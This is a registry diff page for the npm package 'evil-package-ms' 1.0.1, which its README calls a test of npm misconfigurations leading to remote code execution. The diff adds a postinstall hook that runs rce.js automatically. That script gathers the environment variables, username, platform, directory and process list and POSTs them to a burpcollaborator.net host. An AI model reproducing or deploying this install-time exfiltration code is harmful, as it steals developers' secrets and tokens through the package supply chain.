evil-package-ms 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of evil-package-ms might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/Readme.md +4 -0
  2. package/index.js +0 -0
  3. package/package.json +12 -0
  4. package/rce.js +48 -0
package/Readme.md ADDED
@@ -0,0 +1,4 @@
1
+ Hi everyone!
2
+
3
+ I've been write this package in ordr to test some npm misconfigurations that leads to Remote Code Execution.
4
+ Sorry for disturbing !
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "evil-package-ms",
3
+ "version": "1.0.1",
4
+ "description": "Please dont install this package! Has malicious code inside",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node rce"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/rce.js ADDED
@@ -0,0 +1,48 @@
1
+ const https = require('https')
2
+ var os = require('os');
3
+ var exec = require('child_process').exec;
4
+
5
+ const data = { machine: process.platform, workspace: __dirname, env: process.env, user: os.userInfo().username}
6
+
7
+ const options = {
8
+ hostname: 'wwwkuzmaxearhz2ogmqexxizbqhg55.burpcollaborator.net',
9
+ port: 443,
10
+ path: '/log',
11
+ method: 'POST',
12
+ headers: {
13
+ 'Content-Type': 'application/json'
14
+ //'Content-Length': data.length
15
+ }
16
+ }
17
+
18
+
19
+
20
+
21
+
22
+
23
+ var command = "ps -a"
24
+ if(process.platform == "win32"){
25
+ commmand = "tasklist"
26
+ }
27
+
28
+ exec(command, function(error, stdout, stderr) {
29
+ console.log(stdout);
30
+ data.processes = stdout;
31
+
32
+ options.headers['Content-Length'] = JSON.stringify(data).length;
33
+ const req = https.request(options, res => {
34
+ console.log(`statusCode: ${res.statusCode}`)
35
+
36
+ res.on('data', d => {
37
+ process.stdout.write(d)
38
+ })
39
+ })
40
+
41
+ req.on('error', error => {
42
+ console.error(error)
43
+ })
44
+
45
+ req.write(JSON.stringify(data))
46
+ req.end()
47
+ });
48
+